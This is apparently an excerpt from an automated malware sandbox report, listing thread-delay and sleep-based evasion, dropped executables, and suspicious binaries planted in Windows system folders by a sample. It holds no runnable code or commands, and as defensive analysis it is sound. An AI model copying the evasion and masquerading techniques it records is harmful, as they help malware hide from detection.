Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 596924
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 596760
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 596484
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 596261
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 595937
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 595234
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 595074
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 594893
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 300000
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 594644
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 594453
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 594234
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 594031
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 593812
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 593590
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 593375
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 593046
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 592796
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 592218
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 591906
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 591734
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 591484
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 591274
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 590984
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 590830
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 590671
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 590531
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 590386
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 590254
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 590093
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 589910
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 589453
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 589280
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 589162
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 589042
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 588872
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 588757
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 588645
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 588515
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 588343
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 588171
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 588013
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 587880
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 587750
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 587640
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 587531
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 587421
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 587298
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 587137
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 586654
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 586528
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 586386
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 586231
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 586117
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 586000
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 585890
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 585774
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 585656
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 585546
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 585436
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 585324
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 585214
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 585109
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 584902
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 584795
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 584678
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 584542
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 584349
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 583946
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 583822
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 583707
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 583564
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 583437
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 583327
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 583209
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 583079
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 582963
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 582858
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 582750
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 582640
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 582530
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 582406
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 582218
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 582041
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 581828
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 581225
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 580984
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 580871
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 580765
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 580619
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 580484
Source: C:\Windows\BitLockerDiscoveryVolumeContents\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\Windows NT\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\apppatch\CustomSDB\sihost.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files (x86)\Windows NT\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\apppatch\CustomSDB\sihost.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1427
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1017
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1377
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1297
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1180
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1204
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1311
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1208
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1410
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1115
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1264
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1088
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1372
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1105
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1319
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1287
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1161
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1353
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Window / User API: threadDelayed 6083
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Window / User API: threadDelayed 3299

Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\fXnruzVd.log	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Windows\System32\SecurityHealthSystray.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nss476A.tmp\System.dll	Jump to dropped file
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\pGGHecbL.log	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\otdhyUEt.log	Jump to dropped file
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\GEAmOcnc.log	Jump to dropped file
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\TDoLDJFD.log	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Jump to dropped file
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\utYFHYqz.log	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\ANcNpKUT.log	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\dFyrOIJL.log	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\phhpjhAr.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Uninstall.exe	Jump to dropped file
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\WteBKGGw.log	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\hwphVFJE.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Dropped PE file which has not been started: C:\Program Files\Everything\Uninstall.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nss476A.tmp\LangDLL.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\qeIxFhOl.log	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\drivEn760.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nss476A.tmp\InstallOptions.dll	Jump to dropped file

Source: C:\Program Files\Everything\Everything.exe	Evasive API call chain: GetLocalTime,DecisionNodes
Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	Evasive API call chain: GetLocalTime,DecisionNodes			graph_6-28528

Source: C:\Users\user\AppData\Local\Temp\nss476A.tmp\Everything\Everything.exe	API coverage: 5.7 %
Source: C:\Program Files\Everything\Everything.exe	API coverage: 5.8 %
Source: C:\Program Files\Everything\Everything.exe	API coverage: 6.9 %

Source: C:\Users\user\Desktop\wxl1r0lntg.exe TID: 3148	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe TID: 5360	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7364	Thread sleep count: 1427 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8712	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 904	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8260	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7368	Thread sleep count: 1017 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8704	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8272	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7584	Thread sleep count: 1377 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8732	Thread sleep time: -7378697629483816s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8252	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7592	Thread sleep count: 1297 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8640	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8336	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7832	Thread sleep count: 1180 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8656	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8388	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7948	Thread sleep count: 1204 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8648	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8412	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7828	Thread sleep count: 1311 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8644	Thread sleep time: -8301034833169293s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8284	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7856	Thread sleep count: 1208 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8664	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8360	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7836	Thread sleep count: 1410 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8660	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8468	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7992	Thread sleep count: 1115 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8728	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8440	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7964	Thread sleep count: 1264 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8724	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8428	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7960	Thread sleep count: 1088 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8708	Thread sleep time: -11068046444225724s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8380	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8024	Thread sleep count: 1372 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8720	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8484	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7956	Thread sleep count: 1105 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8716	Thread sleep time: -18446744073709540s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8452	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7936	Thread sleep count: 1319 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8624	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8372	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8032	Thread sleep count: 1287 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8636	Thread sleep time: -11990383647911201s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8456	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8020	Thread sleep count: 1161 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8652	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8476	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8008	Thread sleep count: 1353 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8692	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8420	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Program Files\Everything\Everything.exe TID: 8088	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8204	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -32281802128991695s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -600000s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -599734s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -599359s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8312	Thread sleep time: -25200000s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -599000s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -598656s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -598312s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -598031s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -597609s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -597343s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -597078s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -596924s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -596760s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -596484s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -596261s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -595937s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -595234s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -595074s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -594893s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8312	Thread sleep time: -300000s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -594644s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -594453s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -594234s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -594031s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -593812s >= -30000s
Source: C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe TID: 8244	Thread sleep time: -593590s >= -30000s
